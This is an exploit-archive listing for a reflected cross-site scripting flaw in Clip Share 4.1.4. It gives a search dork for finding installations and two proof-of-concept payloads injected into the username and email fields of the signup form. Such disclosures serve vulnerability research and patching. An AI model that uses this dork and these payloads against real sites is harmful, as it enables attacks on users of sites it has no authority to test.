Clip Share 4.1.4 Cross Site Scripting

Clip Share 4.1.4 Cross Site Scripting

Posted Jul 19, 2023

Authored by indoushka

Clip Share version 4.1.4 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | f104b1e9de39e7d0bb70da284aab85d83380acd95357f1cdeaf43197d30dc724

Download | Favorite | View

Clip Share 4.1.4 Cross Site Scripting

====================================================================================================================================| # Title     : Clip Share 4.1.4 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(64-bit)                                             || # Vendor    : http://www.clip-share.com/                                                                                         || # Dork      : Powered By ClipShare                                                                                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] Xss :   This vulnerability affects /ClipShare/signup.    URL encoded POST input username was set to xtqewoxj" onmouseover=prompt(993897) bad="   The input is reflected inside a tag parameter between double quotes.   URL encoded POST input email was set to sample%40email.tst" onmouseover=prompt(901680) bad="   The input is reflected inside a tag parameter between double quotes.Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

File Tags

• ActiveX (932)
• Advisory (81,696)
• Arbitrary (16,150)
• BBS (2,859)
• Bypass (1,732)
• CGI (1,025)
• Code Execution (7,233)
• Conference (679)
• Cracker (841)
• CSRF (3,333)
• DoS (23,342)
• Encryption (2,365)
• Exploit (51,589)
• File Inclusion (4,207)
• File Upload (963)
• Firewall (821)
• Info Disclosure (2,752)
• Intrusion Detection (890)
• Java (3,009)
• JavaScript (851)
• Kernel (6,639)
• Local (14,427)
• Magazine (586)
• Overflow (12,638)
• Perl (1,423)
• PHP (5,138)
• Proof of Concept (2,337)
• Protocol (3,583)
• Python (1,531)
• Remote (30,649)
• Root (3,575)
• Rootkit (508)
• Ruby (612)
• Scanner (1,635)
• Security Tool (7,873)
• Shell (3,172)
• Shellcode (1,212)
• Sniffer (894)
• Spoof (2,195)
• SQL Injection (16,299)
• TCP (2,397)
• Trojan (687)
• UDP (885)
• Virus (664)
• Vulnerability (31,691)
• Web (9,621)
• Whitepaper (3,748)
• x86 (961)
• XSS (17,849)
• Other

File Archives

• July 2023
• June 2023
• May 2023
• April 2023
• March 2023
• February 2023
• January 2023
• December 2022
• November 2022
• October 2022
• September 2022
• August 2022
• Older

Systems

• AIX (428)
• Apple (1,993)
• BSD (373)
• CentOS (57)
• Cisco (1,922)
• Debian (6,792)
• Fedora (1,691)
• FreeBSD (1,244)
• Gentoo (4,321)
• HPUX (879)
• iOS (349)
• iPhone (108)
• IRIX (220)
• Juniper (67)
• Linux (46,198)
• Mac OS X (685)
• Mandriva (3,105)
• NetBSD (256)
• OpenBSD (484)
• RedHat (13,565)
• Slackware (941)
• Solaris (1,610)
• SUSE (1,444)
• Ubuntu (8,751)
• UNIX (9,266)
• UnixWare (186)
• Windows (6,562)
• Other